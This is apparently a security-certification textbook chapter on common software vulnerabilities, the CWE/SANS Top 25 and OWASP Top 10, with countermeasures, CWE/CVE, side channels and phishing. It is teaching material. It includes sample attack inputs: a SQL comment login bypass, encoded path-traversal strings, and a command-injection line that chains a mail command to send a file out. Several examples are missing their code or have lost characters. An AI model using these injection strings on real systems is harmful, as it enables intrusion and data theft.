12
Common Software Vulnerabilities and Countermeasures
In this chapter you will
• Learn about common known software vulnerabilities and mitigations
• Explore the SANS top 25 list of vulnerabilities
• Examine the OWASP list of web application vulnerabilities
• Examine the concepts of enumerated weaknesses (CWE) and vulnerabilities (CVE)
The errors associated with software fall into a series of categories. Understanding the common categories of vulnerabilities and learning how to avoid these known vulnerabilities have been proven to be among the more powerful tools a development team can use in developing more secure code. While attacking the common causes will not remove all vulnerabilities, it will go a long way toward improving the code base. This chapter will examine the most common enumerations associated with vulnerabilities and programming errors.
CWE/SANS Top 25 Vulnerability Categories
Begun by MITRE and supported by the U.S. Department of Homeland Security, the CWE/SANS Top 25 list is the result of collaboration between many top software security experts worldwide. This list represents the most widespread and critical errors that can lead to serious vulnerabilities in software. They are often easy to find, and easy to exploit. Left unmitigated, they are easy targets for attackers and can result in widespread damage to software, data, and even enterprise security.
The Top 25 list can be used in many ways. It is useful as a tool for development teams to provide education and awareness about the kinds of vulnerabilities that plague the software industry. The list can be used in software procurement as a specification of elements that need to be mitigated in purchased software.
CWE/SANS Top 25—2011 (Current)
1. CWE-89 SQL Injection
2. CWE-78 OS Command Injection
3. CWE-120 Buffer Overflow
4. CWE-79 Cross-Site Scripting (XSS)
5. CWE-306 Missing Authentication for Critical Function
6. CWE-862 Missing Authorization
7. CWE-798 Hard-Coded Credentials
8. CWE-311 Missing Encryption of Sensitive Data
9. CWE-434 Unrestricted Upload of File with Dangerous Type
10. CWE-807 Reliance on Untrusted Inputs in a Security Decision
11. CWE-250 Execution with Unnecessary Privileges
12. CWE-352 Cross-Site Request Forgery (CSRF)
13. CWE-22 Path Traversal
14. CWE-494 Download of Code Without Integrity Check
15. CWE-863 Incorrect Authorization
16. CWE-829 Inclusion of Functionality from Untrusted Control Sphere
17. CWE-732 Incorrect Permission Assignment for Critical Resource
18. CWE-676 Use of Potentially Dangerous Function
19. CWE-327 Use of a Broken or Risky Cryptographic Algorithm
20. CWE-131 Incorrect Calculation of Buffer Size
21. CWE-307 Improper Restriction of Excessive Authentication Attempts
22. CWE-601 URL Redirection to Untrusted Site (“Open Redirect”)
23. CWE-134 Uncontrolled Format String
24. CWE-190 Integer Overflow or Wraparound
25. CWE-759 Use of a One-Way Hash Without a Salt
The Top 25 list can serve many roles in the secure development process. For programmers, the list can be used as a checklist of reminders, as a source for a custom “Top N” list that incorporates internal historical data. The data can also be used to create a master list of mitigations, which when applied, will reduce occurrence and severity of the vulnerabilities. Testers can use the list to build a test suite that can be used to ensure that the issues identified are tested for before shipping.
OWASP Top 10—2013 (Current)
A1 – Injection
A2 – Broken Authentication and Session Management
A3 – Cross-Site Scripting (XSS)
A4 – Insecure Direct Object References
A5 – Security Misconfiguration
A6 – Sensitive Data Exposure
A7 – Missing Function-Level Access Control
A8 – Cross-Site Request Forgery (CSRF)
A9 – Using Known Vulnerable Components
A10 – Unvalidated Redirects and Forwards
OWASP Vulnerability Categories
The Open Web Application Security Project (OWASP) is an open community dedicated to finding and fighting the causes of insecure web application software. All of the OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving web application security, and are available at www.owasp.org.
OWASP has published several significant publications associated with building more secure web applications. Their main treatise, “A Guide to Building Secure Web Applications and Web Services,” provides detailed information on a wide range of vulnerabilities and how to avoid them. Another commonly used item from OWASP is their Top 10 list of web application vulnerabilities.
Common Vulnerabilities and Countermeasures
The list of Top 25 and the list of Top 10 web application vulnerabilities overlap. All of the Top 10 items are in the Top 25. This is not unexpected, as web application programming is a subset of programming as a whole discipline. To examine the best countermeasure strategy, it is easier to group the vulnerabilities into like causes and apply countermeasures that address several specific issues at once.
Injection Attacks
Injection attacks are some of the most common and severe that are currently being seen in software. These attacks include SQL Injection, OS Command Injection, Integer Overflow or Wraparound, Path Traversal, Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF). Injection-type attacks can also be used against LDAP, XML, and other common protocols.
Injection attacks can be difficult to decode on the fly, as in many cases, the inputs go through a series of parsers that change the form of the input before use. In these cases, it is better to have previously approved lists of options and let the user select the option based on a master list as opposed to being defined by input streams. Using user input in any direct fashion can result in unintended behaviors when malicious users enter code specifically designed to cause problems. Cleansing or correcting user input streams is difficult, if not impossible, in some situations, and the prudent course is to never allow users to directly define elements of programmatic behavior.
SQL Injections
Databases are one of the primary methods used to store data, especially large quantities of user data. Access to and manipulation of the data is done using Structured Query Language (SQL) statements. The SQL injection attack is performed by an attacker inputting a specific string to manipulate the SQL statement to do something other than that intended by the programmer or designer. This is a form of improper input validation that results in unintended behavior. The defense is easy, but it requires that the SQL statements be constructed in a manner that protects them from manipulation as a result of user input.
The best method to avoid SQL injection is to design database SQL access in a manner that does not allow the SQL statements to be manipulated by users. The safest method is to use stored procedures for all access, with user input being in the form of variables to the stored procedure. The stored procedure can validate the input and ensure that the SQL statements are not manipulated. Another method is to use parameterized queries.
The primary mitigation for SQL injection is developer awareness. SQL injection vulnerabilities can be designed out of a project, and where exposure is unavoidable, input validation can greatly mitigate the issue. SQL injection can be easily tested for and caught as part of a normal test cycle. Failure to catch inputs susceptible to SQL injection is a testing failure. As with all known common attack vectors, SQL injection should be included in test plans.
SQL Injection Attack Methodology
The SQL injection attack has several steps:
1. Test input values to see if SQL is accessible and can be manipulated.
2. Experiment with SQL inputs, using error messages to enumerate the database and provide exploitation information.
3. Craft a SQL exploit input to achieve the exploitation goal.
Even if the SQL errors are suppressed, a structured form of attack referred to as blind SQL injection can use Boolean-based SQL statements rather effectively.
SQL Injection Example
Situation: A web form has a login input consisting of a username and password. The web form uses this information to query a database to determine if the information is correct. The attacker assumes that the SQL statement for logging in is of the form
For the username, the attacker enters admin’ - -.
For the password, the user enters A.
These values are then crafted into the SQL statement, producing the following:
The key element in the attack is the double dash. In SQL, this tells the parser that the remainder of the line is a comment. This changes the SQL statement to:
The password field and any other elements after the first field are ignored. While this may not work in all cases, there are numerous variations that can be used to manipulate the SQL statement.
Command Injections
A command injection attack is similar to the SQL injection attack, but rather than trying to influence a dynamic SQL input, the target is a dynamic command-generation element. When a program needs to perform a function that is normally handled by the operating system, it is common practice to use the operating system to perform the action. To craft the specific operation, it is common to use some form of user input in the command to be executed. Using user-supplied input that is not properly validated can lead to serious consequences.
There are two common methods of using user-supplied input in command injection attacks. The first is where the end user-input is used as an argument in the command to be executed. This can have several interesting consequences, from actions on unintended files to additional commands that are appended to the arguments. The second form of this attack is where the user input includes the command to be executed. This can be even more risky, as unvalidated or improperly validated input strings can result in disastrous consequences.
 | NOTE An example of a command injection attack: If a program asks for an input file (file1) and you wish to get a copy of file2 from the system, get it via email! file1.txt;mail [email protected] < <insert absolute or relative path>/file2.txt Note the ; command separator that allows a second command and the use of the Linux mail command to send a file. |
The primary mitigation for command injection vulnerability is developer awareness. Command injection vulnerabilities can be designed out of a project, and where exposure is unavoidable, input validation can greatly mitigate the issue. Command injection can be easily tested for and caught as part of a normal test cycle. Failure to catch inputs susceptible to command injection is a testing failure. As with all known common attack vectors, command injection should be included in test plans.
Integer Overflow
Computer programs store numbers in variables of a defined size. For integers, these can be 8, 16, 32, and 64 bits, and in either signed or unsigned forms. This restricts the size of numbers that can be stored in the variable. When a value is larger than allowed, a variety of errors can ensue. In some cases, the values simply wrap around; in others, it just sticks as the maximum value. These can be processor and language dependent. In many cases, including the C language, overflows can result in undefined behavior.
| | NOTE A 32-bit integer can be either signed or unsigned. A 32-bit unsigned integer can hold numbers from 0 to 4,294,967,295, while a 32-bit signed integer holds –2,147,483,648 to 2,147,483,647. |
Integer overflows can occur in the course of arithmetic operations. Using a web application that dispenses licenses to users, we can see how this can be manipulated. Once the user enters the application, there are three values: the number of licenses, a place to enter the number desired, and the number of remaining licenses. Assuming the program uses 32-bit signed variables and that user input checks verify that all the inputs are the correct size, how can there be an overflow? Let N = number of licenses held, R = the number requested, and B = the balance after R is dispensed. After verifying that R is a legitimate unsigned 32 int, the program performs the following: B = N – R. The intent is to check to see if B is < 0, which would indicate that sufficient licenses did not exist and disallow that transaction. But if the value of N – R does not fit in an int32, then the calculation will overflow, as the internal operation is to calculate N – R, put the value in a register, and then move to the location of B. The calculation of N – R is the problem.
Overflows can be resolved in a variety of language-specific methods. The use of the checked directive in C#, for instance, turns on exception handling that allows for the trapping and management of overflows before the problem is exposed. Integer overflows can be specifically tested for, using both boundary values and values that will force internal errors as described earlier. These cases need to be designed and built into the test plan as part of the regular test plan development.
Path Traversal
Known by several names, including dot-dot-slash, directory traversal, directory climbing, and backtracking attacks, the path traversal attack attempts to access files and directories that are stored outside the web root folder. By using “../” notation in the path to a file, it is possible to traverse across the directory structure to access a specific file in a specific location. This file system navigation methodology takes advantage of the way that the system is designed. To mask the “../” characters in the input stream, the characters can be encoded, i.e., %2e%2e%2f.
Virtually every web application has a need for local resources, image file scripts, configurations, etc. To prevent a directory traversal attack, the key is to not use user input when accessing a local resource. Although it may require additional coding, matching the user input to a specific resource and then using a hard-coded path and resource to prevent the attack is the strongest defense.
Cross-Site Scripting (XSS)
Cross-site scripting (XSS) is one of the most common web attack methodologies. The cause of the vulnerability is weak user input validation. The attack works because a user includes a script in their input and this script is not mitigated, but instead is rendered as part of the web process. There are several different types of XSS attacks, which are distinguished by the effect of the script.
A nonpersistent XSS attack is one where the injected script is not persisted or stored, but rather is immediately executed and passed back via the web server. A persistent XSS attack is one where the script is permanently stored on the web server or some backend storage. This allows the script to be used against others who log in to the system. A document object model (DOM-based) XSS attack is one where the script is executed in the browser via the DOM process as opposed to the web server.
Cross-site scripting attacks can result in a wide range of consequences, and in some cases, the list can be anything that a clever scripter can devise. Common uses that have been seen in the wild include
• Theft of authentication information from a web application
• Session hijacking
• Deploy hostile content
• Change user settings, including future users
• Impersonate a user
• Phish or steal sensitive information
Controls to defend against XSS attacks include the use of anti-XSS libraries to strip scripts from the input sequences. There are a variety of other mitigating factors, including limiting types of uploads and screening size of uploads, whitelisting inputs, etc., but attempting to remove scripts from inputs can be a tricky task. Well-designed anti-XSS input library functions have proven to be the best defense.
Cross-site scripting vulnerabilities are easily tested for and should be a part of the test plan for every application. Testing a variety of encoded and unencoded inputs for scripting vulnerability is an essential test element.
Cross-Site Request Forgery (CSRF)
Cross-site request forgery attacks utilize unintended behaviors that are proper in defined use but are performed under circumstances outside the authorized use. This is an example of a confused deputy problem, a class of problems where one entity mistakenly performs an action on behalf of another. A CSRF attack relies upon several conditions to be effective. It is performed against sites that have an authenticated user and exploits the site’s trust in a previous authentication event. Then, by tricking a user’s browser to send an HTTP request to the target site, the trust is exploited. Assume your bank allows you to log in and perform financial transactions, but does not validate the authentication for each subsequent transaction. If a user is logged in and has not closed their browser, then an action in another browser tab could send a hidden request to the bank resulting in a transaction that appears to be authorized, but in fact was not done by the user.
There are many different mitigation techniques that can be employed, from limiting authentication times, to cookie expiration, to managing some specific elements of a web page like header checking. The strongest method is the use of random CSRF tokens in form submissions. Subsequent requests cannot work, as the token was not set in advance. Testing for CSRF takes a bit more planning than other injection-type attacks, but this, too, can be accomplished as part of the design process.
Cryptographic Failures
Failures in the application of cryptography can result in failed protection for data and programs. Several attacks fall into this category: Hard-Coded Credentials, Missing Encryption of Sensitive Data, Use of a Broken or Risky Cryptographic Algorithm, Download of Code Without Integrity Check, and Use of a One-Way Hash Without a Salt. Using industry-accepted cryptographic libraries and not creating your own will assist in avoiding this type of failure. Ensuring cryptography is used both properly and from approved libraries is a necessity to avoid common cryptographic failures. Even with strong cryptography, hard-coded credentials that are reverse-engineered out of software result in complete failure of the otherwise-secure algorithm and subsequent failure of protection.
Hard-Coded Credentials
Hard-coding passwords, keys, and other sensitive data into programs has several serious drawbacks. First, it makes them difficult to change. Yes, a program update can change them, but this is a messy way of managing secret data. But most importantly, they will not stay secret. With some simple techniques, hackers can reverse-engineer code, and through a series of analysis steps, determine the location and value of the secret key. This has happened to some large firms with serious consequences in a very public forum. This is easy to check for during code walkthroughs and should never be allowed in code.
Missing Encryption of Sensitive Data
This may seem to be a simple issue—how can one miss encrypting sensitive information?—yet it happens all the time. There are several causes, the first being ignorance on the part of the development team. Some items are obviously sensitive, but some may not be so obvious. The data owner is responsible for documenting the sensitivity of data and its protection requirements. When this step fails, it is hard to blame the development team.
Other cases of missing protection can also arise, typically as part of program operations. Are backups protected? Are log files protected? Backups and log files are two common places that secrets can become exposed if not protected. Error-reporting mechanisms can also handle sensitive data, and again, if not encrypted, is it exposed to risk of loss? The answer to all of these questions is yes, and many an enterprise has learned the hard way after the loss occurs that a simple encryption step would have prevented a breach and subsequent notification actions.
Use of a Broken or Risky Cryptographic Algorithm
Cryptography is one of the more difficult technical challenges of modern times. Despite a lot of effort, there are surprisingly few secure cryptographic algorithms. The rise of computing power has caused many of the older algorithms to fail under massive number-crunching attacks, attacks that used to take significant resources but are managed today on a desktop. Data Encryption Standard (DES), the gold standard for decades, is now considered obsolete, as are many other common cryptographic functions.
Even worse is when a development team decides to create their own encryption methodology. This has been tried by many teams and always ends up with the system being exploited as the algorithm is broken by hackers. This forces a redesign/re-engineering effort after the software is deployed, which is an expensive solution to a problem that should never have occurred in the first place. The solution is simple—always use approved cryptographic libraries.
 | EXAM TIP Only approved cryptographic libraries should be used for encryption. In addition, attention must be paid to algorithms and key lengths. At the time of writing, RSA keys should be >2048 bits. |
A common mode of cryptographic failure revolves around the random number function. The pseudo-random function that is built into most libraries may appear random and have statistically random properties, but it is not sufficiently random for cryptographic use. Cryptographically sufficient random number functions are available in approved cryptographic libraries and should be used for all cryptographic random calculations.
Hash functions have been falling to a series of attacks. MD-5 and SHA-1 are no longer considered secure. Others will continue to fall, which has led to the SHA-3 series being developed by the National Institute of Standards and Technology (NIST). Until the new hash functions are deployed, SHA-256, SHA-384, and SHA-512 are still available, with the number signifying the bit length of the digest. This brings up a design consideration. If the current design is to use SHA-256, it would be wise when planning data structures to plan for longer hash values, up to 512 bits, so that if the SHA function needs to be upgraded in the future, then the data structure will support the upgrade.
Download of Code Without Integrity Check
The Internet has become the medium of choice for distributing software, updates, data, and most digital content. This raises a series of concerns; how does one know the digital content is correct and from the correct source. There are known instances of malware being attached to downloaded code and then being passed off as legitimate. Hash values can be used to verify the integrity of a file that is being downloaded. For reasons of integrity, whether to guard against malicious code or just accidental errors that will later affect production, all downloaded code should have its integrity verified before installation and use.
This requires designing in a checking mechanism, as integrity codes will need to be made available and a mechanism to verify them established. Simply attaching the hash values to the download is not sufficient, as this mechanism can be replicated by hackers who can recompute hash values after modifying an update. The hash values need to be made available in a manner that lets the user know they are from a valid source.
Some download methods, such as Adobe Update and Windows Update, perform the hash check automatically as part of the update process. Using the vendor’s update methodology can help quite a bit, but verify before trusting. Contact the vendor and verify the safeguards are in place before trusting automatic update mechanisms.
Use of a One-Way Hash Without a Salt
Hashing is a common function used to secure data, such as passwords, from exposure to unauthorized parties. As hash values are impossible to reverse, the only solution is to try all possible inputs and look for a matching hash value. This worked well until the creation of rainbow tables. Rainbow tables exist for all possible combinations of passwords up to 14 characters, making the hash value a simple lookup field to get the original password from the table. The solution to this is simple using a technique called salting the hash. A salt value is concatenated to the password, or other value being hashed, effectively increasing its length beyond that of a rainbow table. Salting a hash also solves a second problem. If the salt also contains an element from the username, then the issue of identical passwords between different accounts will no longer yield the same hash value. If two items have the same hash, the inputs are considered to be identical. By increasing the length of the input with a salt value, you solve rainbow table lookups. By making part of the salt specific to USERID, you solve the issue of identical passwords being shown by identical hash values.
Input Validation Failures
Probably the most important defensive mechanism that can be employed is input validation. Considering all inputs to be hostile until properly validated can mitigate many attacks based on common vulnerabilities. This is a challenge, as the validation efforts need to occur after all parsers have completed manipulating input streams, a common function in web-based applications using Unicode and other international character sets.
Input validation is especially well suited for the following vulnerabilities: Buffer Overflow, Reliance on Untrusted Inputs in a Security Decision, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Path Traversal, and Incorrect Calculation of Buffer Size.
Input validation may seem suitable for various injection attacks, but given the complexity of the input and ramifications from legal but improper input streams, this method falls short for most injection attacks. What can work is a form of recognition and whitelisting approach, where the input is validated and then parsed into a standard structure that is then executed. This restricts the attack surface to not only legal, but also expected, inputs.
Output validation is just as important in many cases as input validations. If querying a database for a username and password match, the expected forms of the output of the match function should be either one match or none. If using record count to indicate the level of match, a common practice, then a value other than 0 or 1 would be an error. Defensive coding using output validation would not act on values >1, as these are clearly an error and should be treated as a failure.
Buffer Overflow
The most famous of all input validation failures is the incorrect calculation of buffer size, or buffer overflow attack. This attack comes when the input data is larger than the memory space allocated, overwriting other crucial elements. If there’s one item that could be labeled as the “Most Wanted” in coding security, it would be the buffer overflow. The Computer Emergency Response Team Coordination Center (CERT/CC) at Carnegie Mellon University estimates that nearly half of all exploits of computer programs stem historically from some form of buffer overflow. Finding a vaccine to buffer overflows would stamp out 50 percent of these security-related incidents by type and probably 90 percent by volume. The Morris finger worm in 1988 was an exploit of an overflow, as were recent big-name events such as Code Red and Slammer. The generic classification of buffer overflows includes many variants, such as static buffer overruns, indexing errors, format string bugs, Unicode and ANSI buffer size mismatches, and heap overruns.
The concept behind these vulnerabilities is relatively simple. The input buffer that is used to hold program input is overwritten with data that is larger than the buffer can hold. The root cause of this vulnerability is a mixture of two things: poor programming practice and programming language weaknesses. Programming languages such as C were designed for space and performance constraints. Many functions in C, like gets(), are unsafe in that they will permit unsafe operations, such as unbounded string manipulation into fixed buffer locations. The C language also permits direct memory access via pointers, a functionality that provides a lot of programming power, but carries with it the burden of proper safeguards being provided by the programmer.
The first line of defense is to write solid code. Regardless of the language used or the source of outside input, prudent programming practice is to treat all input from outside a function as hostile. Validate all inputs as if they were hostile and an attempt to force a buffer overflow. Accept the notion that although during development, everyone may be on the same team, be conscientious, and be compliant with design rules, future maintainers may not be as robust. Designing prevention into functions is a foundational defense against this type of vulnerability.
There is good news in the buffer overflow category—significant attention has been paid to this type of vulnerability, and although it is the largest contributor to past vulnerabilities, its presence is significantly reduced in newly discovered vulnerabilities.
Canonical Form
In today’s computing environment, a wide range of character sets is used. Unicode allows multilanguage support. Character code sets allow multilanguage capability. Various encoding schemes, such as hex encoding, are supported to allow diverse inputs. The net result of all these input methods is that there are numerous ways to create the same input to a program. Canonicalization is the process by which application programs manipulate strings to a base form, creating a foundational representation of the input. The definition of canonical form is the simplest or standard form. Input can be encoded for a variety of reasons, sometimes for transport, sometimes to deal with legacy or older system compatibility, sometimes because of other protocols involved.
Character Encoding
Characters can be encoded in ASCII, Unicode, hex, UTF-8, or even combinations of these. So if the attacker desires to obfuscate his response, several things can happen. By URL hex encoding URL strings, it may be possible to circumvent filter security systems and IDs.
can become
Double encoding can complicate the matter even further: Round 1 Decoding:
becomes
Round 2 Decoding:
becomes
The bottom line is simple: Know that encoding can be used, and plan for it when designing input verification mechanisms. Expect encoded transmissions to be used to attempt to bypass security mechanisms. Watch out for unique encoding schemes, such as language-dependent character sets that can have similar characters, bypassing security checking, but parsing into something hostile.
Canonicalization errors arise from the fact that inputs to a web application may be processed by multiple applications, such as the web server, application server, and database server, each with its own parsers to resolve appropriate canonicalization issues. Where this is an issue relates to the form of the input string at the time of error checking. If the error checking routine occurs prior to resolution to canonical form, then issues may be missed. The string representing /../, used in directory traversal attacks can be obscured by encoding and hence, missed by a character string match before an application parser manipulates it to canonical form. The bottom line is simple: Input streams may not be what they seem.
Missing Defense Functions
Common defense mechanisms such as authentication and authorization can only be effective when they are invoked as part of a protection scheme. Ensuring that the appropriate defensive mechanisms are employed on any activity that crosses a trust boundary will mitigate many common attacks. This is effective against vulnerabilities such as Missing Authentication for Critical Functions, Missing Authorization, Unrestricted Upload of File with Dangerous Type, Incorrect Authorization, Incorrect Permission Assignment for Critical Resource, Execution with Unnecessary Privileges, Improper Restriction of Excessive Authentication Attempts, URL Redirection to Untrusted Site (“Open Redirect”), and Uncontrolled Format String. Ensuring that the basics of security such as authentication and authorization are uniformly applied across an application is essential to good practice. Having a ticket to a football game may get you into the stadium, but to get to the good seats, one must show their ticket again. Multiple checks aligned with the importance of the asset under protection are simply applying the fundamentals of security.
A Rose Is a rose Is a r%6fse
All of the following can be equivalent filenames in Microsoft Windows:
• C: estLongfilename.dat
• ....Longfilename.dat
• Longfi~1.dat
• Longfilename.dat::$DATA
Names are resolved to canonical form before use.
General Programming Failures
Programming is treated by many as an art, when it has progressed far from that form. Today’s modern programming is a complex engineering-type evolution with rules and guidelines to prevent failures. The use of a style guide that restricts certain functions for safety and security reasons is seen as handcuffs by many, but also as prudent by professionals. For each dangerous function, there is a manner by which it can be tamed, typically by substitution of a safe version. Buffer overflows due to functions that do not validate input size are a common example of such dangerous functions. An example is strcpy() in the C/C++ language. This function does not validate input length, leaving it up to the programmer to manage independently. The companion function strncpy() does the check, and although it takes longer, it still takes less time than separate validation. This is just one example of the Use of Potentially Dangerous Functions, one of the Top 25. Another source of programming errors is the inclusion of old code or code obtained from another source. Without running these source code elements through the same software development lifecycle (SDLC) processes, one is stuck with any potential and unchecked vulnerabilities in the code. The Inclusion of Functionality from Untrusted Control Sphere error is just this, using code that has not been validated. Although we may choose to ignore our own legacy code inside the enterprise, many a major defect has come from older code bases and direct adoption, even of internally generated code.
All source code should be tested using static test tools that can screen code for a wide variety of issues. From examination for obsolete or disallowed libraries and functions, to common weakness patterns, to errors like off by one or failure to properly initialize, the list of vulnerabilities a static code scanner can find is long. And ensuring that these common errors are cleared prior to each build is an essential mitigation step.
Common Enumerations
Understanding and sharing information between professionals requires a common language and taxonomy to facilitate the information exchange in terms understood by all parties. Enumerations of known software weaknesses and vulnerabilities have been compiled and published as part of MITRE Corporation’s “Making Security Measureable” program, an effort sponsored by the U.S. government and including significant international input. Two of the first enumerations are the Common Weakness Enumeration (CWE) and Common Vulnerabilities and Exposures (CVE). These enumerations have enabled significant advancement in the development of methods to reduce code vulnerabilities through facilitated information exchange using a common standard language. Both the CVE and CWE are vendor- and language-neutral methods of describing errors and act as a common vocabulary for communication about weaknesses and vulnerabilities.
This common vocabulary has also led to the development of automated tools to manage the tracking of these issues. Automated tools can perform operations that would be mind-numbing to a human reader, such as verification of syntax, looking for specific patterns, verifying that specific off-by-one vulnerabilities are counted, etc. Automated tools require a vocabulary to match events to, and this is where the common enumerations have great benefit. The common enumerations can be used by different tool vendors to provide a consistent descriptive output.
Common Weakness Enumerations (CWE)
The Common Weakness Enumeration (CWE) is a list of software weaknesses created by a community initiative. Many entities contribute to the list, creating specific and succinct definitions for each of the elements in the list. The result is a list of standard identifiers for known software weaknesses in implementation that have been known to result in vulnerabilities. By using numerous entities from industry, individuals, and government, the CWE list has grown to cover a wide range of issues, making it useful in describing the range of weaknesses that exist in software today.
The CWE provides for a common language to describe and exchange information about the causes of software vulnerabilities. It is a structured list of identifying information, including the time of introduction of a weakness, the location of the weakness (configuration, code, or environment), the intent of the weakness, and other information. Using a hierarchical classification scheme, the CWE enables for both a broad description of families of weaknesses and the specifics of the child elements of the family.
Common Vulnerabilities and Exposures (CVE)
The CVE is a list of standard identifiers for known software vulnerabilities that have been found in software. This list acts as a dictionary for publically known vulnerabilities. The use of a common identifier for specific vulnerabilities enables the sharing of data and information specific to the vulnerability. Prior to the CVE, different groups would label vulnerabilities in different ways, leading to multiple names for the same vulnerability.
The CVE includes a single standardized description for the entry. Developed by the MITRE Corporation under contract with the U.S. Department of Homeland Security, the list is managed by the CVE Editorial Board. This group ensures entries are legitimate and unique. The list itself is free to anyone who wishes to download and use it. It has become the industry standard for describing vulnerabilities in software. The use of CVE identifiers allows for data exchange between information security programs and services, enabling smooth interoperability and communication.
|
| NOTE Each CVE identifier is unique and consists of three elements:
• A number (CVE-1999-0067), which includes the year and a unique number ID
• A brief description of the vulnerability or exposure
• Pertinent references |
Virtualization
Virtualization is a software technology that allows multiple operating systems to coexist on a single hardware resource. Virtualization capitalizes on the advances in hardware capability, allowing for greater utilization of the hardware resource. As virtualization has matured, other operational benefits have been realized, including backups, moving servers, and managing large networks of boxes. From a CSSLP point of view, the virtualization layer should be transparent to most applications and not be a factor in software development for programs that run on top of the virtualization layer. That said, it is important to consider that applications will be on virtualized rather than static real hardware, and when designing certain elements, it would be wise to consider the case of the physical hardware being virtualized. Tying an application to a specific piece of hardware for licensing purposes might be easy, but also will remove the operational advantages of being able to manage hardware via a virtualization layer, making the application incompatible with virtual environments.
Embedded Systems
Embedded systems are combinations of software and hardware embedded in a larger system to result in a specific form of control or computation. Embedded systems tend to be designed for a specific purpose rather than running on a general-purpose PC. Embedded systems are typically those where software is specifically purposed and not updated on a regular basis. Most attacks against embedded systems are aimed at information disclosure. The other attack avenue is one of denial of service, where the attack leaves the device nonfunctioning.
Side Channel
The term side channel attack comes from the cryptographic world, where it represents an attack against the implementation of a cryptosystem, rather than the strength of the algorithm itself (e.g., cold booting). Attacks that use some byproduct of a system are typically called side channel attacks. There are different types of side channel attacks, including timing attacks, power attacks, data remanence attacks, and electromagnetic attacks. Attacks against the human element, also called social engineering attacks, may fit the general description of a side channel attack, but are usually considered separately and are covered in the next section.
Timing and power attacks examine elements such as power used or time to achieve some function to make determinations about what is happening. Although these seem far-fetched, they have been used successfully to reveal information about what is happening inside a program. Electromagnetic attacks were very famous in the era of cathode ray tube (CRT) monitors, as devices were constructed that could read the magnetic patterns of a CRT from a distance, reproducing what was on the screen. A modern equivalent is the acoustic attack, where the computer’s own microphone is used to record keystrokes and then decode them based on the different sounds each key makes.
The data remanence attack has been in the headlines lately, where researchers have cooled RAM in a machine to very cold temperatures, allowing them time to get key values out of the RAM even after the power was turned off. Some types of malware are known to scrape the memory of systems in search of key elements, such as keys and other secret values. Modern efforts such as Address Space Layout Randomization (ASLR) are designed to defeat this, but as in all tech “wars,” both sides keep improving the game. The current ASLR scheme used in Windows is already beginning to show signs of age and will probably be enhanced in the next version.
Social Engineering Attacks
Social engineering refers to attacks against the people side of a system. People can be tricked, deceived, or manipulated into revealing information even when they do not realize it. Whether performed in person or via some electronic form of communication, social engineering is the process of convincing an individual to perform some action that they otherwise would not do. Clicking a link in an email may seem to most to be a clear “do not do” activity, but if the email appeared to be from a trusted friend and the topic included some specific joke or other enticing information, how many would not click on it? In a current set of advanced attacks, labeled advanced persistent threat (APT) attacks, these often begin with a PDF file that contains legitimate information and an attached piece of malware. Delivered to an inbox appearing to come from a coworker, these attack vectors can be very convincing.
Phishing
Phishing (pronounced “fishing”) is a type of social engineering in which an attacker attempts to obtain sensitive information from a user by masquerading as a trusted entity in an email or instant message sent to a large group of often random users. The attacker attempts to obtain information such as usernames, passwords, credit card numbers, and details about the user’s bank accounts. The message sent often encourages the user to go to a website that appears to be for a reputable entity such as PayPal or eBay, both of which have frequently been used in phishing attempts. The website the user actually visits is not owned by the reputable organization, however, and asks the user to supply information that can be used in a later attack. Often the message sent to the user will state that the user’s account has been compromised and will request, for security purposes, that the user enter their account information to verify the details. Preying upon the sense of urgency to correct a risky situation, the email attempts to convey the importance of doing something immediately.
In another very common example of phishing, the attacker sends a bulk email, supposedly from a bank, telling the recipients that a security breach has occurred and instructing them to click a link to verify that their account has not been tampered with. If the individual actually clicks the link, they are taken to a site that appears to be owned by the bank but is actually controlled by the attacker. When they supply their account and password for “verification” purposes, they are actually giving it to the attacker. The emails and websites generated by the attackers often appear to be legitimate. A few clues, however, can tip off the user that the email might not be what it claims to be. The email may contain grammatical and typographical errors, for example. Organizations that are used in these phishing attempts (such as eBay and PayPal) are careful about their images and will not send a security-related email to users containing obvious errors. In addition, almost unanimously, organizations tell their users that they will never ask for sensitive information (such as a password or account number) via an email. The URL of the website that the users are taken to may also provide a clue that the site is not what it appears to be. Despite the increasing media coverage concerning phishing attempts, some Internet users still fall for them, which results in attackers continuing to use this relatively cheap method to gain the information they are seeking.
A recent development has been the introduction of a modification to the original phishing attack. Spear phishing is the term that has been created to refer to the special targeting of groups with something in common when launching a phishing attack. By targeting specific groups, the ratio of successful attacks (that is, the number of responses received) to the total number of emails or messages sent usually increases because a targeted attack will seem more plausible than a message sent to users randomly. Spear phishing can commonly include information to make something appear more personal or more correct. The ultimate in spear phishing is the individual attack on a specific person, and the attack vector may use information specifically crafted to make the message believable.
Another recent and related type of attack is pharming. In pharming, an attacker attempts to redirect a user to a bogus website that appears similar to the website the user had intended to access. The attacker attempts to obtain sensitive information (such as credit card numbers) while the user is at the bogus site. The redirection can occur as a result of modifications to a system’s hosts file or through attacks on Domain Name Service (DNS) servers, which causes an individual to be taken to the wrong website because the DNS server returns the incorrect IP address.
Social engineering is just one element in some attacks. When you combine user manipulation with technical elements such as CSRF or XSS, then the combined results can build quickly to make something appear correct, when in fact it is not. The key to helping prevent social engineering attacks from working is clear training and communication with users over the risks. Periodic testing of users to reinforce awareness of spear phishing can help, especially if performed in a nonthreatening manner.
Chapter Review
In this chapter, elements of common software vulnerabilities and countermeasures were examined. The chapter began with a look at the CWE/SANS Top 25 list and the OWASP Top 10 list. These lists were then broken down into a series of common vulnerabilities and countermeasures to prevent them. The most common attacks, injection attacks, include attacks against SQL, LDAP, XML, and command shells. The most common injection attacks, SQL, command, and arithmetic overflow, were covered in detail. The SQL injection attack is performed by an attacker inputting a specific string to manipulate the SQL statement to do something other than that intended by the programmer or designer. A command injection attack is similar to the SQL injection attack, but rather than trying to influence a dynamic SQL input, the target is a dynamic command-generation element. The integer overflow attack is where variable sizes are targeted to cause undefined behaviors. Cross-site scripting and cross-site request forgery attacks are web application attacks that use improperly validated input strings to result in unauthorized and undesired behaviors.
Cryptography was also examined, including a myriad of failure modes that come from the complexity of performing cryptography correctly. Some of these failures are actually simple, such as hard-coding credentials and missing encryption for sensitive data. Other elements, such as random numbers and cryptographic algorithms, are difficult to do correctly, and, hence, specific approved libraries should be used.
An examination of input and output validation was presented. All user input should be validated as being in the proper form before use. All output data being generated should also be validated before being used in another process.
